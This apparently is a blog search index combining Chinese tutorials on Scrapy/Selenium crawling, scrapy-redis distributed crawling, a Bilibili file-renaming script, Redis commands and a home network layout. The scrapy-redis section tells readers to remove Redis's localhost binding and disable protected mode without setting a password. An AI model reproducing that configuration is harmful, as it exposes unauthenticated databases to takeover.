div.xpath('./div/div[1]/h3/a/text()').extract_first() new_detail_url = div.xpath( './div/div[1]/h3/a/@href').extract_first() item = WangyiproItem() item['title'] = title # 对新闻详情页的url发起请求 yield scrapy.Request(url=new_detail_url, callback=self.parse_detail, meta={'item': item}) def parse_detail(self, response): content = response.xpath( '//div[@class="post_body"]/p/text()').extract() content = ''.join(content) item = response.meta['item'] item['content'] = content yield item def closed(self, spider): self.bro.quit() 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960#middlewares.py# Define here the models for your spider middleware## See documentation in:# https://docs.scrapy.org/en/latest/topics/spider-middleware.htmlfrom scrapy import signals# useful for handling different item types with a single interfacefrom itemadapter import is_item, ItemAdapterfrom scrapy.http import HtmlResponsefrom time import sleepclass WangyiproDownloaderMiddleware: def process_request(self, request, spider): # Called for each request that goes through the downloader # middleware. # Must either: # - return None: continue processing this request # - or return a Response object # - or return a Request object # - or raise IgnoreRequest: process_exception() methods of # installed downloader middleware will be called return None # 通过该方法拦截五大板块对应的响应对象,进行篡改 def process_response(self, request, response, spider): # spider表示的是爬虫对象 bro = spider.bro # 获取了在爬虫类中定义的浏览器对象 # 挑选出指定的响应对象进行篡改 # 通过url指定request # 通过request指定response if request.url in spider.models_urls: bro.get(request.url) # 五个板块对应的url进行请求 sleep(2) page_text = bro.page_source # 包含了动态加载的新闻数据 # response # 五大板块对应的响应对象 # 针对定位到的response进行篡改 # 实例化新的相应对象,符合需求:包含动态加载出的新闻数据,替代原来不满足需求的响应对象 # 如何获取动态加载出的新闻数据呢? # 基于selenium便捷的获取动态加载数据 new_response = HtmlResponse( url=request.url, body=page_text, encoding='utf-8', request=request) return new_response else: # response # 其他请求对应的响应对象 return response def process_exception(self, request, exception, spider): # Called when a download handler or a process_request() # (from other downloader middleware) raises an exception. # Must either: # - return None: continue processing this exception # - return a Response object: stops process_exception() chain # - return a Request object: stops process_exception() chain pass 123456789#items.pyimport scrapyclass WangyiproItem(scrapy.Item): # define the fields for your item here like: title = scrapy.Field() content = scrapy.Field() 12345678910111213141516#pipelines.py# Define your item pipelines here## Don't forget to add your pipeline to the ITEM_PIPELINES setting# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html# useful for handling different item types with a single interfacefrom itemadapter import ItemAdapterclass WangyiproPipeline: def process_item(self, item, spider): print(item) CrawlSpider类CrawlSpider类:Spider的一个子类 全站数据爬取的方式 基于Spider手动请求 基于CrawlSpider CrawlSpider的使用: 创建一个工程 cd xxx 创建爬虫文件(与之前不一样,基于CrawlSpider子类) scrapy genspider -t crawl name www.xxx.com LinkExtractor(链接提取器): 作用:根据指定规则(allow="正则")进行指定链接的提取 Rule(规则解析器) 作用:将链接提取器提取到的链接进行指定规则(callback的解析操作) 分布式爬虫分布式爬虫的概念我们需要搭建一个分布式的集群,让其对一组资源进行分布联合爬取 作用提升爬取数据的效率 如何实现分布式 安装scrapy-redis的组件 原生的scrapy是不可以实现分布式爬虫的,必须要让scrapy结合着scrapy-redis组件一起实现分布式爬虫 为什么原生的scrapy不可以实现分布式? 调度器不可以被分布式集群共享 管道不可以被分布式集群共享 scrapy-redis组件作用 可以给原生的scrapy框架提供可以被共享的管道和调度器 实现流程 创建一个工程 创建一个基于CrawlSpider的爬虫文件 修改当前的爬虫文件 导包 from scrapy_redis.spiders import RedisCrawlSpider 将start_urls和allowed_domains进行注释 添加一个新属性:与之代替的是redis_key='sun'可以被共享的调度器队列的名称 编写数据解析相关的操作 将当前爬虫类的父类修改成RedisCrawlSpider 修改配置文件settings.py 指定使用可以被共享的管道 123ITEM_PIPELINES = { 'scrapy_redis.pipelines.RedisPipeline':400} 指定调度器 123456#增加了一个去重容器类的配置,作用使用Redis的set集合来存储请求的指纹数据,从而实现请求去重的持久化DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"#使用scrapy-redis组件自己的调度器SCHEDULER="scrapy_redis.scheduler.Scheduler"#配置调度器是否要持久化,也就是当爬虫结束了,要不要清空Redis中请求队列和去重指纹的set.True=保留,False=清空SCHEDULER_PERSIST=TRUE 指定redis服务器 1234#setting.pyREDIS_HOST = 'redis服务器的ip地址'REDIS_PORT = 6379 redis相关操作配置 配置`redis`的配置文件 linux/mac:redis.conf windows:redis.windows.conf 打开配置文件修改 将bind 127.0.0.1进行删除 关闭保护模式:protected_mode yes改为no 结合着配置文件开启redis服务 redis-server配置文件 启动客户端 redis-cli 执行工程 scrapy runspider xxx.py(爬虫源文件名称) 向调度器的队列中放入一个起始的url 调度器的队列在redis的客户端中 lpush sun(爬虫文件中的redis_key) www.xxx.com(起始的url)","tags":["编程语言","Python","爬虫"],"categories":["编程语言","Python","爬虫"]},{"title":"Python-模糊查询批量修改文件名","path":"/2019/12/24/384da78c/","content":"总字符数: 2.97K 代码: 1.91K, 文本: 0.43K 预计阅读时间: 10 分钟 前言今天利用哔哩哔哩下载器下载了一堆资源,结果发现文件名全部都是乱序,没有排好序就感觉看的很蒙,突然想起python可以批量重命名于是准备利用python写一个脚本. 大概思路就是先爬取哔哩哔哩视频的标题,爬取下来后利用range生成顺序编号,通过字符串拼接起来,然后截取文件夹的名字,拿着截取的名字去查找对应的新名字和旧名字,利用python的os模块进行批量重命名 导入相关库1234import requests #python请求库 import json #处理json数据库 import os #os系统模块 import fnmatch #模糊查找库 获取哔哩哔哩视频下的标题 https://api.bilibili.com/x/web-interface/view/detail?bvid=av号&aid=av号的aid可以通过f12获取,url中的aid就是图片里的pid 还有一个接口不过需要自己处理一下json数据,此代码用的上面那个接口,接口地址: https://api.bilibili.com/x/player/pagelist?bvid=AV号&jsonp=jsonphttps://api.bilibili.com/x/player/pagelist?bvid=AV号&jsonp=jsonp 获取哔哩哔哩视频的每集的标题123456789101112def getjson(): page_text = requests.get( 'https://api.bilibili.com/x/web-interface/view/detail?bvid=BV15741177Eh&aid=89760569') data = page_text.json() shuzi = list(range(1, 233)) data = data['data']['View']['pages'] newname = [] for shuzi, item in zip(shuzi, data): part = item['part'] mingzi = str(shuzi)+part[3:len(part)]+".mp4" newname.append(mingzi) return newname # 将整理好的newname返回出去 截取需要查找的字符串1234567# 截取需要查找的字符串def findName(fileList):findname = []for fn in fileList: fname = fn[7:len(fn)-12] findname.append(fname)return findname 查找需要更改的需要更改的文件名字以及新名字12345678910111213141516# 查找需要更改的需要更改的文件名字以及新名字def comparison(fileList, path):oa = [] # 定义需要更改的文件名字的列表newa = [] # 定义新名字的列表findname = findName(fileList) # 获取查找字符串的列表newname = getjson() # 获取哔哩哔哩新名字的列表# 循环遍历查找字符串和需要更改的文件名字for fn, oldname in zip(findname, fileList):# 循环新名字保证每一个查找字符串可以和每一个新名字以及每一个需要更改的文件名字可以对比 for na in newname: # 使用模糊查询,找出对应的新名字以及需要更改的文件名字, if fn in oldname and fn in na and oldname.endswith('.mp4'): # fn 查找字符串,oldname需要更改的文件名字,na新名字 oa.append(oldname) newa.append(na)rename(oa, newa, path) 进行批量重命名1234567891011121314def rename(oldname, newname, path):path = path # 文件路径oldname = oldname # 需要更改的文件名字newname = newname # 新名字# 文件批量重命名for oldn, newna in zip(oldname, newname): # 捕获异常使其遇到错误也可以正常运行,因为模糊查询的原因避免不了重名的错误,所以只能把准确率控制在90% try: oldname = path + os.sep + oldn newname = path + os.sep + newna os.rename(oldname, newname) print(oldname, '=======>', newname) except Exception as e: pass 定义主函数1234if __name__ == "__main__":path = 'D:\\Learning world\\personal project\\personal project\\Python\\\\test'#路径fileList = os.listdir(path)#列取path下的文件名comparison(fileList, path) 注意https://github.com/JiangJiYue/PythonCrawler/blob/main/bilibili.pyhttps://github.com/JiangJiYue/PythonCrawler/blob/main/bilibili.py 请复制出一份后在测试代码 未整理前: 整理后:","tags":["编程语言","Python","爬虫"],"categories":["编程语言","Python","爬虫"]},{"title":"Linux-redis从入门到精通","path":"/2019/11/15/2e455f59/","content":"总字符数: 13.12K 代码: 8.57K, 文本: 2.49K 预计阅读时间: 48 分钟 Redis概述NoSQL NoSQL,泛指非关系型的数据库。随着互联网web2.0网站的兴起,传统的关系数据库在处理web2.0网站,特别是超大规模和高并发的SNS类型的web2.0纯动态网站已经显得力不从心,出现了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。NoSQL数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战,特别是大数据应用难题 主流的NoSQL产品: 目前缓存的主流技术:Redis、Memcached、mongoDB 缓存的需求 在信息爆炸的今天,数据的存储,对数据的查询都是非常频繁且非常大量的。关系型数据库的就显得力不从心了,扩展性较差,查询简单条件数据的效率较低等缺点,无意是致命的。而NOSQL数据库中的数据之间并无关系,这一特点造就了NOSQL的易扩展性,读写性能高等优势。所以面对大量的数据读写,非关系型数据库相比较于关系型数据库有着巨大的优势。 为什么要使用Nosql?对数据高并发的读写海量数据的读写对数据的高可扩展性NoSql出现的目地是为解决性能问题所产生的技术Redis数据库是NOSQL数据库中以key-value存储模式下的一种数据库。那么Redis数据库为什么又在NOSQL中脱颖而出?Redis支持多种数据类型:string(字符串)hash(哈希)list(列表)set(集合)zset(sorted set:有序集合)。支持主从复制,读写分离。读写效率大大提升。数据存储在内存中,可用来做缓存。需要持久化的数据就将其存入硬盘,不需要持久化的数据,可以进行短暂的存储,提高访问速度。 Redis简介及安装https://redis.io/https://redis.io/ https://www.redis.net.cn/https://www.redis.net.cn/ redis下载linux环境下载: https://redis.io/downloadhttps://redis.io/download windows环境下载: redis官网不支持windows平台的,windows版本是由微软自己建立的一个分支,基于官方的源码上进行编译发布维护,一般比官方版略低 window安装安装方式一 临时服务 无需要安装,只需要开启服务端和客户端即可 点击``redis-server.exe` 开启服务, 开启后不要关闭,关闭redis服务器就关掉了 点击``redis-cli.exe` 开启客户端 安装方式二 安装到系统服务 直接按装到本机服务中,无需要来回启动 12# 安装到系统服务redis-server --service-install redis.windows.conf --loglevel verbose 1234567891011# 卸载服务redis-server --service-uninstall 先停掉redis服务器# 开启服务redis-server --service-start# 停止服务redis-server --service-stop # 开启客户端点击redis-cli.exe# 也可以指定连接redis-cli.exe -h 127.0.0.1 -p 6379 linux安装123456789101112# 下载安装rediscd /optwget http://download.redis.io/releases/redis-2.8.17.tar.gz# 解压tar zxvf redis-2.8.17.tar.gz# 进入到redis目录cd redis-2.8.17make# 然后进入到src文件夹cd src/# 启动Redis-Server./redis-server Redis操作多数据库redis默认数据库数有16个,0-15号库,默认连接的数据库0号库,通过redis.windows.conf查看 redis不支持自定义数据库名称,redis的多数据库之间不是完全隔离有,flushall命令会清空所有的数据库数据 选择数据库1234567127.0.0.1:6379> select 1OK127.0.0.1:6379[1]> set test abcOK127.0.0.1:6379[1]> get test"abc"127.0.0.1:6379[1]> 清空数据库 FLUSHALL – 清空【所有数据库】的所有数据 FLUSHDB – 清空【当前】所在数据库的数据 123456789127.0.0.1:6379> set a 123OK127.0.0.1:6379> get a"123"127.0.0.1:6379> flushdb -- 清空【当前】所在数据库的数据OK127.0.0.1:6379> get a (nil)127.0.0.1:6379> 123456789101112131415161718127.0.0.1:6379> set b 123-- 0号库设置数据OK127.0.0.1:6379> get b"123"127.0.0.1:6379> select 1-- 切换1号库设置数据OK127.0.0.1:6379[1]> set c 123OK127.0.0.1:6379[1]> get c"123"127.0.0.1:6379[1]> flushall -- 清空【所有数据库】的所有数据OK127.0.0.1:6379[1]> get c-- 清空后1号库数据已清除(nil)127.0.0.1:6379[1]> select 0 -- 清空后0号库数据已清除OK127.0.0.1:6379> get b(nil) 基本命令 keys * – 查看当前所有key exists key –判断key是否存在,存在返回1,不存在返回0 del key – 删除key,成功返回1,失败返回0 type key –查看key的数据类型 keys * – 查看当前所有key 12345678127.0.0.1:6379> set a 123OK127.0.0.1:6379> set b 321OK127.0.0.1:6379> keys * -- 查看当前所有key1) "b"2) "a"127.0.0.1:6379> exists key –判断key是否存在,存在返回1,不存在返回0 12345127.0.0.1:6379> exists a -- 判断key是否存在,存在返回1,不存在返回0(integer) 1127.0.0.1:6379> exists c(integer) 0127.0.0.1:6379> del key – 删除key,成功返回1,失败返回0 12345678127.0.0.1:6379> keys *1) "b"2) "c"127.0.0.1:6379> del b -- 删除key,成功返回1,失败返回0(integer) 1127.0.0.1:6379> del a(integer) 0127.0.0.1:6379> type key –查看key的数据类型 12345127.0.0.1:6379> set a 123OK127.0.0.1:6379> type a-- 查看数据类型string127.0.0.1:6379> 设置相同的key名,会覆盖上一个 1234567127.0.0.1:6379> set k1 aaaOK127.0.0.1:6379> set k1 bbbOK127.0.0.1:6379> get k1-- 注意设置相同的key名,会覆盖上一个"bbb"127.0.0.1:6379> clear 清屏 12127.0.0.1:6379> clear-- 或者 ctrl + L 五种数据类型 ​\tredis存储的是:key,value格式的数据,其中key都是字符串,value有5种不同的数据结构 字符串类型 (String): 这是最基本的类型,一个键可以对应一个字符串值,字符串类型是二进制安全的,可以包含任何数据,如 jpg 图片或者序列化的对象。一个键存储的字符串值最大能达到 512MB。 散列类型 (Hash): Redis hash 是一个键值对集合,它是一个字符串字段和字符串值之间的映射表,适合存储对象。每个 hash 可以存储 2^32 - 1 键值对(40多亿)。 列表类型 (List): Redis 列表是一个简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边)。它的底层实现是一个双向链表,因此即使列表中有数百万的元素,向列表的两端添加元素也是非常快的。它支持重复元素。 集合类型 (Set): Redis的Set是字符串类型的无序集合。它是通过哈希表实现的,所以添加、删除、查找的复杂度都是O(1)。set 中的最大成员数为2^32 - 1。集合中的元素是唯一的,这意味着同一个集合中不能出现重复的元素。 有序集合类型 (Sorted Set, ZSet):Redis Sorted Sets也是集合,它和 Set 一样也是不允许重复的成员元素,但不同的是每个元素都会关联一个double类型的分数。redis 正是通过分数来为集合中的成员进行从小到大的排序。不仅如此,它还支持按照分数区间和字典区间来获取成员列表。 每种数据结构都有其用途,例如,lists可以用作消息队列,sets可以用来存储无序的集合数据,例如标签、好友关系等,hashes 是存储对象的理想选择,sorted sets可以用来做带有权重的排行榜等。 字符串(string)get、set赋值取值 1234567127.0.0.1:6379> set a 123OK127.0.0.1:6379> get a"123"127.0.0.1:6379> get b(nil)127.0.0.1:6379> intcr递增,返回递增后的值 默认+1 123456127.0.0.1:6379> incr num(integer) 1127.0.0.1:6379> incr num(integer) 2127.0.0.1:6379> incr num(integer) 3 incrby增加定制的整数 1234567127.0.0.1:6379> incrby num 2(integer) 5127.0.0.1:6379> incrby num 2(integer) 7127.0.0.1:6379> incrby num 2(integer) 9127.0.0.1:6379> decr、decrby减少指定的整数 1234567891011127.0.0.1:6379> decr num(integer) 8127.0.0.1:6379> decr num(integer) 7127.0.0.1:6379> decrby num 3(integer) 4127.0.0.1:6379> decrby num 3(integer) 1127.0.0.1:6379> decrby num 3(integer) -2127.0.0.1:6379> append向键值的末尾追加值 , 返回值是追加后字符串的长度 1234567127.0.0.1:6379> set str helloOK127.0.0.1:6379> append str "redis"(integer) 10127.0.0.1:6379> get str"helloredis"127.0.0.1:6379> strlen获取字符串的长度,如何键不存在返回0 1234567127.0.0.1:6379> set str helloOK127.0.0.1:6379> strlen str(integer) 5127.0.0.1:6379> strlen a -- a 不存在返回0(integer) 0127.0.0.1:6379> mset、mget 同时设置、获取多个键值 12345678127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3OK127.0.0.1:6379> get k1"v1"127.0.0.1:6379> mget k2 k31) "v2"2) "v3"127.0.0.1:6379> del 指定删除键,如果不存返回0 123456127.0.0.1:6379> set m 111OK127.0.0.1:6379> del m(integer) 1127.0.0.1:6379> del n(integer) 0 哈希类型(hash)哈希类型 hash, map类型 存储:hset key field value 1234127.0.0.1:6379> hset myhash username zhangsan(integer) 1127.0.0.1:6379> hset myhash password asd123(integer) 1 获取: hget key field: 获取指定的field对应的值 hgetall key:获取所有的field和value 12345678910127.0.0.1:6379> hget myhash username"zhangsan"127.0.0.1:6379> hget myhash password"asd123"127.0.0.1:6379> hgetall myhash1) "username"2) "zhangsan"3) "password"4) "asd123"127.0.0.1:6379> 删除: hdel key field 123456127.0.0.1:6379> hdel myhash username(integer) 1127.0.0.1:6379> hgetall myhash1) "password"2) "123"127.0.0.1:6379>> 列表类型(list)列表类型list : linkedlist格式, 支持重复元素 特点:单键多值 添加: 可以添加一个元素到列表的头部(左边)或者尾部(右边)对两端的操作性能都比较高,查询效率比较低 lpush key value: 将元素加入列表(左边) 1234567891011121314151617181920212223242526127.0.0.1:6379> lpush k1 a-- 向左边添加 a(integer) 1127.0.0.1:6379> lpush k1 b-- 向左边添加 b(integer) 2127.0.0.1:6379> lpush k1 c-- 向左边添加 c(integer) 3127.0.0.1:6379> -- 每添加一个往左边放一个:c <- b <- a127.0.0.1:6379> lpush k1 a a b b -- 支持重复的数据(integer) 4127.0.0.1:6379> flushdb -- 清空当前数据库127.0.0.1:6379> lpush k1 a b c -- 也可以同时添加多个值127.0.0.1:6379> lindex k1 0-- 根据索引0 找到c"c"127.0.0.1:6379> lindex k1 1-- 根据索引1 找到b"b" 127.0.0.1:6379> lindex k1 2-- 根据索引2 找到a"a"127.0.0.1:6379> lrange k1 0 -1 -- 范围取值1) "c" -- 索引0索引也为-32) "b" -- 索引1索引也为-23) "a" -- 索引2索引也为-1127.0.0.1:6379> -- 结果:c <- b <- a rpush key value:将元素加入列表(右边) 1234567891011121314151617127.0.0.1:6379> rpush k2 v1 v2 v3 -- 向右边添加(integer) 3127.0.0.1:6379> lindex k2 0 -- 根据索引获取"v1"127.0.0.1:6379> lindex k2 1"v2"127.0.0.1:6379> lindex k2 2"v3"127.0.0.1:6379> lrange k2 0 -11) "v1" -- 索引0 索引也为-32) "v2" -- 索引1 索引也为-23) "v3" -- 索引2 索引也为-1127.0.0.1:6379>-- 每添加一个往右边放一个: v1 -> v2 -> v3127.0.0.1:6379> llen k2 -- 获取长度(integer) 3 获取:返回列表中指定区间内的元素,区间以偏移量start和end指定。其中 0表示列表的第一个元素, 1表示列表的第 二个元素, 依次类推( 索引0..end )。 你也可以使用负数, -1表示最后一个元素, -2表示倒数第二个元素, 依次类推。 lrange key start end 范围获取 lindex key index 根据索引获取 llen key 获取长度 12345678910111213141516171819127.0.0.1:6379> lpush k1 a b c-- 存放数据(integer) 3127.0.0.1:6379> lindex k1 0-- 根据索引0 找到c"c"127.0.0.1:6379> lindex k1 1-- 根据索引1 找到b"b" 127.0.0.1:6379> lindex k1 2-- 根据索引2 找到a"a"127.0.0.1:6379> lrange k1 0 -1 -- 范围取值:0表示第一个 -1表示最后一个1) "c"2) "b"3) "a"127.0.0.1:6379> lrange k1 0 -2 -- 范围取值:0表示第一个 -2表示倒数第二个1) "c"2) "b"127.0.0.1:6379>127.0.0.1:6379> llen k1 -- 获取长度(integer) 3127.0.0.1:6379> 删除: lpop key: 删除列表最左边的元素,并将元素返回 rpop key: 删除列表最右边的元素,并将元素返回 12345678910111213127.0.0.1:6379> lpush k1 a b c -- 存放数据127.0.0.1:6379> lrange k1 0 -1 -- 范围取值:0表示第一个 -1表示最后一个1) "c"2) "b"3) "a"127.0.0.1:6379> lpop k1 -- 删除最左边元素,并返回"c"127.0.0.1:6379> lpop k1"b"127.0.0.1:6379> lpop k1"a"127.0.0.1:6379> keys * -- 值在键在 值光键亡(empty array) 集合类型(set)集合类型set , 不允许重复元素, 无序, 与java中的HashSet内部实现是一样的 存储:sadd key value 1234567891011127.0.0.1:6379> sadd myset a -- 添加数据(integer) 1127.0.0.1:6379> sadd myset a -- 不允许添加重复元素,返回0(integer) 0127.0.0.1:6379> scard myset -- 返回集合中的元素个数(integer) 1127.0.0.1:6379> smembers myset -- 获取数据1) "a"127.0.0.1:6379> flushdb-- 清空当前数据库127.0.0.1:6379> sadd myset a a b c -- 也可以一次性添加多个数据(integer) 3 获取:smembers key:获取set集合中所有元素 12345678127.0.0.1:6379> sadd myset a b c(integer) 3127.0.0.1:6379> smembers myset-- 获取set集合中所有元素1) "b"2) "c"3) "a"127.0.0.1:6379> smembers myset2 -- 获取不到返回empty(empty list or set) 随机操作:srandmember key随机查询set中的元素; spop key随机删除set中的元素; 1234567891011121314151617-- srandmember key 随机查询set中的元素127.0.0.1:6379> srandmember myset"a"127.0.0.1:6379> srandmember myset"c"127.0.0.1:6379> srandmember myset"a"-- spop key 随机删除set中的元素127.0.0.1:6379> spop myset -- 随机删除"b"127.0.0.1:6379> spop myset-- 随机删除"d"127.0.0.1:6379> smembers myset -- 查看数据1) "c"2) "a"127.0.0.1:6379> 删除:srem key value:删除set集合中的某个元素 123456789127.0.0.1:6379> srem myset c -- 指定删除set集合中的某个元素(integer) 1127.0.0.1:6379> smembers myset1) "b"2) "a"127.0.0.1:6379> srem myset a b -- 同时也可以删除多个值(integer) 2127.0.0.1:6379> smembers myset(empty array) 有序集合(zset)有序集合类型 sorted set, 不允许重复元素,且元素有顺序; 每个元素都会关联一个double类型的分数。redis正是通过分数来为集合中的成员进行从小到大的排序。 存储:zadd key score value 12345678910127.0.0.1:6379> zadd mysort 80 jack(integer) 1127.0.0.1:6379> zadd mysort 80 jack -- 相同数据不能存(integer) 0127.0.0.1:6379> zadd mysort 60 lisi(integer) 1127.0.0.1:6379> zadd mysort 20 zhangsan(integer) 1127.0.0.1:6379> flushdb127.0.0.1:6379> zadd mysort 80 jack 60 lisi 20 zhangsan-- 也可以同时添加多个 获取:zrange key start end [withscores] 12345678910111213127.0.0.1:6379> zrange mysort 0 -1-- 第一个数据为0 最后一个数据为-11) "zhangsan"2) "lisi"3) "jack"127.0.0.1:6379>127.0.0.1:6379> zrange mysort 0 -1 withscores -- 包含值及评分都显示出来1) "zhangsan"2) "20"3) "lisi"4) "60"5) "jack"6) "80"127.0.0.1:6379> 1234567891011121314151617181920212223127.0.0.1:6379> flushdb -- 清空当前库127.0.0.1:6379> zadd mysort 100 a 200 b 300 c 400 d 500 e(integer) 5127.0.0.1:6379> zrange mysort 0 -11) "a"2) "b"3) "c"4) "d"5) "e"-- zrangebyscore key min max 可以通评分进行区间取值127.0.0.1:6379> zrangebyscore mysort 100 3001) "a"2) "b"3) "c"-- zrangebyscore key min maxwithscores 可以通评分进行区间取值并显示分数127.0.0.1:6379> zrangebyscore mysort 100 300 withscores1) "a"2) "100"3) "b"4) "200"5) "c"6) "300"127.0.0.1:6379> 123456789101112131415161718-- zrevrangebyscore key max min 从大到小排序127.0.0.1:6379> zrevrangebyscore mysort 500 2001) "e"2) "d"3) "c"4) "b"-- zrevrangebyscore key max min withscores 从大到小排序并显示分数127.0.0.1:6379> zrevrangebyscore mysort 500 200 withscores1) "e"2) "500"3) "d"4) "400"5) "c"6) "300"7) "b"8) "200"127.0.0.1:6379> 1234-- zcount mysort min max 查询区间的元素个数127.0.0.1:6379> zcount mysort 100 300(integer) 3127.0.0.1:6379> 123456789101112131415161718-- zrank key value 查看集合中的排名 (排名从0开始)127.0.0.1:6379> zrank mysort a(integer) 0127.0.0.1:6379> zrank mysort b(integer) 1-- 查看所有元素127.0.0.1:6379> zrange mysort 0 -1 withscores 1) "a" 2) "100" 3) "b" 4) "200" 5) "c" 6) "300" 7) "d" 8) "400" 9) "e"10) "500" 删除:zrem key value 1234127.0.0.1:6379> zrem mysort b-- 删除单个(integer) 1127.0.0.1:6379> zrem mysort a c-- 删除多个(integer) 2 Redis生存时间redis在实际应用中更多是用作缓存,解而缓存的数据一般都需要设置生存时间的 即:到期后数据销毁 设置生存时间设置生存时间 expire key seconds TTL 返回值: 大于0:剩余生存时间,单位为秒 负数: 数据已经被删除 1234567891011121314127.0.0.1:6379> set k1 abc-- 添加数据OK127.0.0.1:6379> expire k1 10 -- 设置当前k1的生存时间(integer) 1127.0.0.1:6379> ttl k1 -- 查看剩余生存时间(integer) 3127.0.0.1:6379> ttl k1(integer) 2127.0.0.1:6379> ttl k1(integer) 1127.0.0.1:6379> ttl k1 -- 返回负数数据销毁(integer) -2127.0.0.1:6379> get k1 -- 此时数据就销毁(nil) 清除生存时间清除生存时间 persist key 1234567891011121314127.0.0.1:6379> set k1 123OK127.0.0.1:6379> expire k1 100 -- 设置生存时间(integer) 1127.0.0.1:6379> ttl k1 -- 查看生存时间(integer) 51127.0.0.1:6379> ttl k1(integer) 50127.0.0.1:6379> persist k1 -- 清除生存时间(integer) 1127.0.0.1:6379> ttl k1 -- 返回负数 表示生存的时间已清除,数据还存在(integer) -1127.0.0.1:6379> get k1"123" 设置单位为毫秒设置单为毫秒 pexpire key milliseconds 12345678910127.0.0.1:6379> set k1 123OK127.0.0.1:6379> pexpire k1 10000 -- 设置当前生存时间为10000毫秒(10秒)(integer) 1127.0.0.1:6379> ttl k1(integer) 7127.0.0.1:6379> ttl k1(integer) 6127.0.0.1:6379> ttl k1(integer) 5","tags":["Centos","运维","数据库","Redis"],"categories":["安全运维","数据库"]},{"title":"家庭网络拓扑","path":"/2019/10/21/628a2fb5/","content":"总字符数: 0.84K 代码: 无, 文本: 0.46K 预计阅读时间: 2 分钟 前言因为工作学习的关系,我家里的网络结构非常复杂,而且网线都没有标签.当有故障需要排查的时候也总是忘记网线的对端是哪里,所以今天我在这里把我的网络架构记录下来. 这篇文章只记录网络结构,接下来的两篇将记录esxi、pfsense与交换机的配置方式. 因为我从事运维工作,所以对网络安全十分重视.同时需要学习与测试一些新技术和病毒,因此我的网络架构并不适用与普通家庭,而且普通家庭也并不会花大价钱购买这些设备.但如果你住的是复式房子或别墅,则可以找一个小地方放个小机柜. 硬件与规划先放一张拓扑图: 然后是实际环境的图片: R720R720这2U的机架式服务器安装了esxi 7.0 对于10.10.20.0/24网段我主要放置了一些系统以及部分为web服务通过openvpn分享给朋友使用,所以20网段到其他网段之间是有严格的规则,此规则由爱快负责 而30网段暂时正在部署个人服务 结语其实网络结构并不复杂 在配置上也只有esxi、爱快 和交换机需要配置,其他设备只需要稍作连接即可,其实我也考虑过Pfsense,但是目前基于他的openvpn不方便管理,就暂且放弃了","categories":["生活记录","杂项"]},{"path":"/about/index.html","content":"SafeKiller Zone自我介绍建站初衷  我是SafeKiller Zone,身为一名网络安全讲师,对技术充满了无比的热爱和追求。每一天,我都致力于深入探索这个快速发展的领域,不断学习最新的安全策略和防御技术。尽管在这条道路上,我不可避免地会遇到复杂的技术难题,但正是这些挑战,激发了我解决问题的热情,也锻炼了我的技能。我始终相信,每一个问题都是一个机会,一个提升自己的机会,使我能够将学到的宝贵知识传授给我的学生们,并帮助他们在网络安全这个不断演变的领域中取得成功。 作为一名对网络安全和运维充满热情的专业人士,我创建这个博客是为了分享我的知识和经验。我希望这个网站能够帮助大家更好地理解网络安全的复杂性,并提供实用的技术指导和行业最佳实践。我热切希望我的博客能够为大家的学习和成长之路添砖加瓦。 博客发展史2019年11 月 29日接触WordPress和Centos部署博客,那时写的文章都偏向于开发和运维····2021年06 月 17日将主题换成了子比的,慢慢的更新更多的文章,水平也慢慢的变高了2022年09 月 22日由于Wordpress是MVC架构,插件也较多容易出现各种漏洞,后面就换成了Hexo博客····2024年01 月 25日争取上架尽可能全的安全运维和Web渗透的wiki···· 2023年年度总结 O1 2024年的小目标:学习技术,挣钱,完善WIKI,出更多的视频 正常 65% KR1 小成就:游戏鉴赏家 通关《博德之门3》通关《杀戮尖塔》AC20带萌新VAN《怪物猎人崛起》单刷《怪物猎人世界》米拉小姐15min左右加5min 已完成 100% KR2 小目标:完成博客的搭建和主要个性化页面设计 黑夜模式欢迎语接入音乐大量的废话 正常 60% KR-3 丰富个人博客网站(我需要更多的前端知识,迫切需要大佬) 接入赞助我……求大佬们打赏接入Steam让大家看看我傲人的游戏时长多写几篇佳作,发布技术文章。嘿!让大家看看 未完成 10% KR4 文章完成情况 后端前端测试运维论文和pptelasticsearch购物搜索的中文提示词该怎么设计?!业务实现了,效率性能呢?十年前的老网站,不入流,且不合适的拼接技术感觉没啥问题啊,哈哈哈,怎么了这是?!一个头两个大前面还堵着呢 延期 90%"},{"path":"/css/darkmode.css","content":"#Dark:root { --site-bg: #1c1e21; --card: #373d43; --block: #26292c; --block-border: #383d42; --block-hover: #2f3337; --alpha20: rgba(0,0,0,0.2); --alpha50: rgba(0,0,0,0.5); --alpha60: rgba(0,0,0,0.6); --alpha75: rgba(0,0,0,0.75); --alpha100: #000; --sidebar-bg: #383d42; --text: #fff; --text-p0: #fff; --text-p1: #ccc; --text-p2: #b3b3b3; --text-p3: #858585; --text-p4: #707070; --text-meta: #4d4d4d; --text-code: #ff6333; } @media screen and (max-width: 667px) { #Dark:root { --site-bg: #000; } } #Dark:root { --blur-bg: rgba(0,0,0,0.5); } #Dark .float-panel { --blur-bg: rgba(0,0,0,0.4); } #Dark .tag-plugin.tag { --theme: #ff6333; --theme-bg1: #3d1e14; --theme-bg2: #2f2522; --theme-border: #5c2d1f; --text-p0: #ffc4b3; --text-p1: #dfae9f; --text-p2: #f1997e; } #Dark .tag-plugin[color='red'] { --theme: #f44336; --theme-bg1: #3d1714; --theme-bg2: #2f2322; --theme-border: #5c231f; --text-p0: #ffb8b3; --text-p1: #dfa49f; --text-p2: #f1867e; } #Dark .tag-plugin[color='orange'] { --theme: #fa6400; --theme-bg1: #3d2514; --theme-bg2: #2f2722; --theme-border: #5c371f; --text-p0: #ffd1b3; --text-p1: #dfb99f; --text-p2: #f1ac7e; } #Dark .tag-plugin[color='yellow'] { --theme: #ffbd2b; --theme-bg1: #3d3014; --theme-bg2: #2f2b22; --theme-border: #5c491f; --text-p0: #ffe7b3; --text-p1: #dfcb9f; --text-p2: #f1cd7e; } #Dark .tag-plugin[color='green'] { --theme: #3dc550; --theme-bg1: #143d1a; --theme-bg2: #222f24; --theme-border: #1f5c27; --text-p0: #b3ffbd; --text-p1: #9fdfa8; --text-p2: #7ef18e; } #Dark .tag-plugin[color='cyan'] { --theme: #1bcdfc; 